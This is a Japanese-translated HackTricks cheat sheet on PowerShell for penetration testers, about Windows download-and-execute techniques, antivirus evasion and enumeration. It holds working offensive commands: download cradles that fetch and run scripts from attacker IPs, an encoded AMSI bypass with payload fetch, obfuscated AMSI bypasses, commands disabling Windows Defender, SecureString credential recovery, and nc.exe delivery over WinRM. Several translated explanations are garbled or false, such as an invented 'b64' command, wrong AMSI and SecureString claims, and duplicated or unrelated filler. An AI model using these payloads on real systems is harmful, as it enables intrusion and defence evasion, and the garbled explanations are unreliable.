hacktricks/windows-hardening/basic-powershell-for-pentesters
2023-09-11 16:06:08 +00:00
..
powerview.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-09-11 16:06:08 +00:00

ペンテスターのための基本的なPowerShell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

デフォルトのPowerShellの場所

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

基本的なPSコマンドの開始

PowerShell (PS)は、Windowsシステムで使用される強力なスクリプト言語およびコマンドラインシェルです。Pentesterとして、PSを使用して効果的なハッキングテストを実行するために、いくつかの基本的なコマンドを知っておくことが重要です。

以下に、Pentesterが始めるための基本的なPSコマンドをいくつか紹介します。

ファイルとディレクトリの操作

  • Get-ChildItem: ファイルやディレクトリの一覧を表示します。
  • Set-Location: カレントディレクトリを変更します。
  • Copy-Item: ファイルやディレクトリをコピーします。
  • Move-Item: ファイルやディレクトリを移動します。
  • Remove-Item: ファイルやディレクトリを削除します。

プロセスの管理

  • Get-Process: 実行中のプロセスの一覧を表示します。
  • Stop-Process: プロセスを停止します。

レジストリの操作

  • Get-Item: レジストリキーの値を表示します。
  • Set-Item: レジストリキーの値を設定します。
  • New-Item: 新しいレジストリキーを作成します。
  • Remove-Item: レジストリキーを削除します。

サービスの管理

  • Get-Service: インストールされているサービスの一覧を表示します。
  • Start-Service: サービスを開始します。
  • Stop-Service: サービスを停止します。

これらの基本的なコマンドを使いこなすことで、PentesterはWindowsシステムでのハッキングテストを効果的に実行することができます。

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

ダウンロードと実行

$URL = "http://example.com/malware.exe"
$Output = "C:\Temp\malware.exe"
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output

このスクリプトは、指定したURLからマルウェアをダウンロードし、ローカルの一時フォルダに保存し、その後実行します。

$URL = "http://example.com/malware.exe"
$Output = "C:\Temp\malware.exe"
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output

This script downloads malware from the specified URL, saves it to a local temporary folder, and then executes it.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

AMSIバイパスを使用してバックグラウンドでダウンロード実行

This technique allows you to download and execute a file in the background while bypassing AMSI (Antimalware Scan Interface).

Usage:

Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\file.exe"
Start-Process -FilePath "C:\path\to\file.exe" -WindowStyle Hidden

Replace "http://example.com/file.exe" with the URL of the file you want to download, and "C:\path\to\file.exe" with the desired path and filename for the downloaded file.

Explanation:

  1. The Invoke-WebRequest cmdlet is used to download the file from the specified URL and save it to the specified path using the -Uri and -OutFile parameters, respectively.

  2. The Start-Process cmdlet is used to execute the downloaded file in the background. The -FilePath parameter specifies the path to the downloaded file, and the -WindowStyle Hidden parameter ensures that the process runs without displaying any windows.

By using this technique, you can download and execute a file without triggering any antivirus or antimalware scans that may be performed by AMSI.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Linuxでb64を使用する

The b64 command in Linux is used to encode or decode data in Base64 format. It is a useful tool for manipulating and transferring data in a secure manner. The b64 command can be used in various scenarios, such as encoding binary files, decoding Base64-encoded data, or performing cryptographic operations.

To encode data using b64, you can use the following command:

b64 -e <input_file> > <output_file>

Replace <input_file> with the path to the file you want to encode, and <output_file> with the desired name for the encoded file. This command will take the contents of the input file, encode it in Base64 format, and save the result in the output file.

To decode Base64-encoded data using b64, you can use the following command:

b64 -d <input_file> > <output_file>

Replace <input_file> with the path to the file containing the Base64-encoded data, and <output_file> with the desired name for the decoded file. This command will take the Base64-encoded data from the input file, decode it, and save the result in the output file.

The b64 command is a powerful tool for working with Base64-encoded data in Linux. It can be used in various scenarios, such as encoding or decoding files, performing cryptographic operations, or transferring data securely.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

ダウンロード

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequestは、PowerShellのコマンドレットで、WebサーバーにHTTPリクエストを送信するために使用されます。このコマンドレットは、ウェブページのコンテンツを取得したり、フォームを送信したり、Webサーバーとの対話を行ったりするために使用されます。

以下は、Invoke-WebRequestコマンドレットの使用例です。

# ウェブページのコンテンツを取得する
$response = Invoke-WebRequest -Uri "https://example.com"

# レスポンスのステータスコードを表示する
$response.StatusCode

# レスポンスのヘッダーを表示する
$response.Headers

# レスポンスのボディを表示する
$response.Content

# フォームを送信する
$formData = @{
    "username" = "admin"
    "password" = "password123"
}
$response = Invoke-WebRequest -Uri "https://example.com/login" -Method POST -Body $formData

# レスポンスのコンテンツを表示する
$response.Content

Invoke-WebRequestコマンドレットは、ペンテストやセキュリティ調査の際に非常に便利です。ウェブアプリケーションの脆弱性をテストしたり、Webサーバーとの対話を自動化したりするために使用することができます。

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to download files from the web. It is commonly used in penetration testing for retrieving files from target systems.

Basic Usage

To download a file using Wget, you can use the following command:

wget [URL]

Replace [URL] with the actual URL of the file you want to download.

By default, Wget will save the downloaded file in the current directory with the same name as the file on the server. If you want to specify a different name for the downloaded file, you can use the -O option followed by the desired file name:

wget -O [filename] [URL]

Replace [filename] with the desired name for the downloaded file.

Downloading Files Recursively

Wget also supports recursive downloading, which allows you to download all files linked from a given URL. This can be useful when you want to download an entire website or a specific directory.

To download files recursively, you can use the -r option:

wget -r [URL]

By default, Wget will create a directory structure that mirrors the structure of the website or directory being downloaded. If you want to save all downloaded files in a single directory, you can use the --no-directories option:

wget -r --no-directories [URL]

Limiting Download Speed

If you want to limit the download speed when using Wget, you can use the --limit-rate option followed by the desired speed in bytes per second. For example, to limit the download speed to 1MB/s, you can use the following command:

wget --limit-rate=1M [URL]

Conclusion

Wget is a powerful tool for downloading files from the web. It provides various options for customizing the download process, such as specifying the file name, downloading files recursively, and limiting the download speed.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransferは、PowerShellのモジュールであり、ファイルのダウンロードやアップロードを簡単に行うための便利なツールです。BitsTransferを使用すると、ネットワーク経由でファイルを転送することができます。

BitsTransferを使用するには、まずImport-Module BitsTransferコマンドを使用してモジュールをインポートします。次に、Start-BitsTransferコマンドを使用してファイルの転送を開始します。

以下は、BitsTransferを使用してファイルをダウンロードする例です。

Import-Module BitsTransfer
Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Downloads\file.txt"

上記の例では、http://example.com/file.txtからC:\Downloads\file.txtにファイルをダウンロードしています。

BitsTransferは、ファイルのダウンロードやアップロードに便利なオプションを提供します。たとえば、-Priorityオプションを使用して転送の優先度を設定したり、-ProxyUsageオプションを使用してプロキシを経由して転送したりすることができます。

BitsTransferは、ペンテストやセキュリティ調査の際に便利なツールです。ファイルのダウンロードやアップロードを自動化するためにスクリプトに組み込むこともできます。

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Base64 Kali

Kali Linux is a popular penetration testing distribution that comes with a wide range of tools for various hacking techniques. One of the techniques commonly used in Kali Linux is encoding commands in Base64.

Base64 is a binary-to-text encoding scheme that allows binary data to be represented in an ASCII string format. This encoding is often used to transmit binary data over text-based protocols, such as email or HTTP.

In Kali Linux, you can use the base64 command-line tool to encode and decode data in Base64. To encode a command in Base64, you can use the following syntax:

echo -n "command" | base64

For example, to encode the command ls -la, you would run:

echo -n "ls -la" | base64

The output will be the Base64-encoded representation of the command.

EncodedCommand

EncodedCommand is a parameter used in PowerShell to specify a Base64-encoded command. This parameter allows you to run encoded PowerShell commands without having to write them in plain text.

To use the EncodedCommand parameter, you need to encode your PowerShell command in Base64. You can do this using the [System.Convert]::ToBase64String() method in PowerShell.

Here's an example of how to encode a PowerShell command in Base64:

$command = "Write-Host 'Hello, World!'"
$encodedCommand = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))

The variable $encodedCommand will now contain the Base64-encoded representation of the PowerShell command.

To run the encoded command using the EncodedCommand parameter, you can use the following syntax:

powershell.exe -EncodedCommand encodedCommand

Replace encodedCommand with the actual Base64-encoded command.

Using the EncodedCommand parameter can be useful in scenarios where you want to hide the actual command from being easily visible in logs or command history.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

実行ポリシー

制約言語

AppLockerポリシー

WinRMの有効化 (リモートPS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Defenderの無効化

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

AMSIバイパス

amsi.dllは、あなたのプロセスにロードされ、アプリケーションが相互作用するために必要なエクスポートを持っています。そして、それはプロセスのメモリ空間にロードされているため、メモリ内の命令を上書きすることで動作を変更することができます。これにより、何も検出されないようにすることができます。

したがって、AMSIバイパスの目標は、そのDLLの命令をメモリ内で上書きして検出を無効にすることです。

AMSIバイパスジェネレーターのウェブページ: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSIバイパス2 - マネージドAPIコールフック

詳細な情報については、この投稿コードを参照してください。

この新しい技術は、.NETメソッドのAPIコールフックに依存しています。実際には、.NETメソッドはメモリ内でネイティブなマシン命令にコンパイルされる必要があり、ネイティブなメソッドと非常に似た形になります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックすることができます。

.NETメソッドのAPIコールフックを実行する手順は次のとおりです

  1. フックする対象のメソッドを特定する
  2. ターゲットと同じ関数プロトタイプを持つメソッドを定義する
  3. メソッドを見つけるためにリフレクションを使用する
  4. 各メソッドがコンパイルされていることを確認する
  5. 各メソッドのメモリ上の位置を見つける
  6. 悪意のあるメソッドを指す命令にターゲットメソッドを上書きする

AMSIバイパス3 - SeDebug特権

このガイドとコードに従うことで、プロセスをデバッグするための十分な特権を持っている場合、powershell.exeプロセスを生成し、それをデバッグし、amsi.dllがロードされたときに無効化することができます。

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

権限の取得

To gather information about the permissions assigned to a user or a group in a Windows system, you can use the Get-Acl cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for a specified resource, such as a file or a directory.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions assigned to the file.txt file, including the user or group name, the type of permission (e.g., Read, Write, Execute), and whether the permission is inherited from a parent object.

You can also use the Get-Acl cmdlet to retrieve the permissions for a registry key or a directory:

Get-Acl -Path HKLM:\SOFTWARE\Microsoft
Get-Acl -Path C:\path\to\directory

By examining the permissions assigned to various resources, you can identify potential security vulnerabilities and determine if any unauthorized access has been granted.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

OSのバージョンとHotFixes

このスクリプトは、PowerShellを使用してWindowsオペレーティングシステムのバージョンと適用されたHotFixes修正プログラムを取得するためのものです。

使用法

  1. スクリプトを実行する前に、PowerShellを管理者として実行してください。

  2. スクリプトを実行すると、Windowsオペレーティングシステムのバージョンと適用されたHotFixesが表示されます。

スクリプト

# OSバージョンを取得
$osVersion = Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Caption

# HotFixesを取得
$hotFixes = Get-HotFix | Select-Object -Property HotFixID, InstalledOn

# 結果を表示
Write-Host "OSバージョン: $osVersion"
Write-Host "HotFixes:"
$hotFixes | Format-Table -AutoSize

出力例

OSバージョン: Microsoft Windows 10 Pro
HotFixes:

HotFixID   InstalledOn
--------   -----------
KB123456   2020/01/01
KB789012   2020/02/15

このスクリプトを使用することで、Windowsオペレーティングシステムのバージョンと適用されたHotFixesを簡単に取得できます。

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

環境

The following instructions assume that you have a Windows machine with PowerShell installed. If you don't have PowerShell installed, you can download it from the official Microsoft website.

以下の手順は、PowerShellがインストールされたWindowsマシンを想定しています。PowerShellがインストールされていない場合は、公式のMicrosoftのウェブサイトからダウンロードすることができます。

Basic PowerShell Commands

PowerShell is a powerful scripting language and command-line shell that is built on the .NET Framework. It provides a wide range of commands and features that can be used for various purposes, including system administration, automation, and penetration testing.

Here are some basic PowerShell commands that can be useful for pentesters:

Get-Process

The Get-Process command is used to retrieve information about the processes running on a system. It can be used to identify running processes, their process IDs (PIDs), memory usage, and other details.

Get-Process

Get-Service

The Get-Service command is used to retrieve information about the services running on a system. It can be used to identify running services, their status, and other details.

Get-Service

Get-NetAdapter

The Get-NetAdapter command is used to retrieve information about the network adapters installed on a system. It can be used to identify network interfaces, their IP addresses, MAC addresses, and other details.

Get-NetAdapter

Get-NetFirewallRule

The Get-NetFirewallRule command is used to retrieve information about the firewall rules configured on a system. It can be used to identify firewall rules, their status, and other details.

Get-NetFirewallRule

Get-EventLog

The Get-EventLog command is used to retrieve information from the event logs on a system. It can be used to identify logged events, their timestamps, event IDs, and other details.

Get-EventLog -LogName System

These are just a few examples of the basic PowerShell commands that can be used for pentesting. PowerShell provides many more commands and features that can be explored and utilized for various purposes.

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

他の接続されたドライブ

When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One area that is often overlooked is the presence of other connected drives on the system. These drives may contain valuable data or provide alternative attack vectors.

To identify other connected drives, we can use PowerShell. The Get-PSDrive cmdlet allows us to retrieve information about all the drives on the system, including local drives, network drives, and even virtual drives.

Here is an example of how to use Get-PSDrive to list all the drives on the system:

Get-PSDrive

This command will display a list of drives along with their names, descriptions, and other relevant information. By examining this output, we can identify any additional drives that are connected to the system.

Once we have identified the other connected drives, we can further investigate them to determine if they contain any sensitive information or if they can be used as a potential attack vector. This may involve exploring the file system, examining file permissions, or searching for specific file types.

By thoroughly examining all the connected drives on a Windows system, we can gather valuable information and potentially discover vulnerabilities that can be exploited during a penetration test.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

リサイクル ビン

The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net for users in case they accidentally delete something and need to restore it.

To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the items you want to restore and click on the "Restore" button to move them back to their original location.

It's important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older items will be automatically deleted to make room for new ones. You can adjust the size of the Recycle Bin by right-clicking on its icon, selecting "Properties," and then adjusting the slider under the "Maximum size" section.

In addition to restoring deleted files, the Recycle Bin also allows you to permanently delete items. To do this, simply select the files or folders you want to delete and click on the "Delete" button. This will bypass the Recycle Bin and permanently remove the selected items from the system.

Overall, the Recycle Bin is a useful feature in Windows that helps protect against accidental file deletions. It's always a good idea to check the Recycle Bin before permanently deleting any files, as you may find that you need to restore them at a later time.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

ドメインの偵察

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

ユーザー

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

セキュアな文字列から平文へ

In some cases, during a penetration test, you may come across a secure string that needs to be converted to plaintext for further analysis. PowerShell provides a way to convert secure strings to plaintext using the ConvertFrom-SecureString cmdlet.

以下の場合、ペネトレーションテスト中に、さらなる分析のためにセキュアな文字列を平文に変換する必要がある場合があります。PowerShellは、ConvertFrom-SecureStringコマンドレットを使用して、セキュアな文字列を平文に変換する方法を提供しています。

To convert a secure string to plaintext, follow these steps:

セキュアな文字列を平文に変換するには、以下の手順に従ってください。

  1. Open a PowerShell session.

  2. PowerShellセッションを開きます。

  3. Use the ConvertFrom-SecureString cmdlet followed by the secure string you want to convert. For example:

  4. 変換したいセキュアな文字列の後にConvertFrom-SecureStringコマンドレットを使用します。例:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = ConvertFrom-SecureString -SecureString $secureString
  1. The secure string will be converted to plaintext and stored in the $plainText variable.

  2. セキュアな文字列は平文に変換され、$plainText変数に格納されます。

Keep in mind that converting a secure string to plaintext should only be done for legitimate purposes and with proper authorization.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

または、XMLから直接パースする方法もあります。

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDOは、Linuxシステムで特権ユーザーとしてコマンドを実行するためのツールです。通常、管理者権限を持つユーザーが他のユーザーに一時的な特権を与えるために使用されます。

SUDOを使用すると、特権ユーザーが他のユーザーのアカウントに切り替えてコマンドを実行できます。これにより、一時的な特権を持つユーザーが必要なタスクを実行できるようになります。

SUDOの基本的な使用法は次のとおりです。

sudo [オプション] コマンド

例えば、特権ユーザーがlsコマンドを他のユーザーのアカウントで実行する場合、次のように入力します。

sudo -u ユーザー名 ls

SUDOは、システムのセキュリティを向上させるために使用されることもあります。特権ユーザーが必要な場合にのみコマンドを実行できるようにすることで、悪意のあるコマンドの実行を防ぐことができます。

SUDOの設定は、/etc/sudoersファイルで行われます。このファイルでは、特権ユーザーが実行できるコマンドや、特定のユーザーに対して特権を与えることができます。

SUDOは、Linuxシステムでの特権ユーザーの管理とセキュリティの向上に役立つ強力なツールです。

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

グループ

グループは、Windowsオペレーティングシステムでアクセス制御を管理するための重要な要素です。グループは、ユーザーを論理的な単位にまとめ、共通のアクセス許可を割り当てるために使用されます。グループを使用することで、ユーザーごとに個別にアクセス許可を設定する必要がなくなります。

Windowsでは、いくつかのデフォルトのグループが提供されています。これらのグループには、特定の権限とアクセス許可が割り当てられています。一般的なデフォルトのグループには、Administrators管理者、Usersユーザー、Guestsゲストなどがあります。

また、ユーザーが所属するグループを確認することもできます。これにより、ユーザーがどのようなアクセス許可を持っているかを把握することができます。

以下のコマンドを使用して、グループを表示することができます。

Get-LocalGroup

このコマンドは、ローカルマシン上のすべてのグループを表示します。

また、特定のグループのメンバーを表示するには、次のコマンドを使用します。

Get-LocalGroupMember -Group "グループ名"

このコマンドは、指定したグループのメンバーを表示します。

グループは、アクセス制御の管理において重要な役割を果たすため、適切なグループの設定とメンバーシップの管理が必要です。

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

クリップボード

クリップボードは、コンピュータ上でデータを一時的に保存するための機能です。一般的には、テキストや画像などのデータをコピーして別の場所に貼り付ける際に使用されます。

クリップボードには、Windows PowerShellを使用してアクセスすることができます。以下に、クリップボードを操作するための基本的なPowerShellコマンドの例を示します。

クリップボードにテキストをコピーする

Set-Clipboard -Value "コピーするテキスト"

クリップボードからテキストを取得する

$clipboardText = Get-Clipboard

クリップボードの内容をクリアする

Clear-Clipboard

これらのコマンドを使用することで、PowerShellを介してクリップボードを操作することができます。これは、ペンテストやハッキングのコンテキストで、クリップボードを使用してデータを取得したり、機密情報をクリアしたりするために役立ちます。

Get-Clipboard

プロセス

Introduction

プロセスは、実行中のプログラムのインスタンスです。Windowsオペレーティングシステムでは、プロセスはシステムリソースを使用して実行されます。プロセスは、メモリ、CPU時間、ネットワーク接続などのリソースを消費します。

プロセスの表示

PowerShellを使用して、実行中のプロセスを表示することができます。以下のコマンドを使用します。

Get-Process

このコマンドは、実行中のすべてのプロセスのリストを表示します。各プロセスには、プロセスID、プロセス名、メモリ使用量などの情報が含まれています。

特定のプロセスの表示

特定のプロセスの情報を表示するには、Get-Processコマンドにプロセス名を指定します。例えば、notepadという名前のプロセスを表示するには、以下のコマンドを使用します。

Get-Process -Name notepad

プロセスの終了

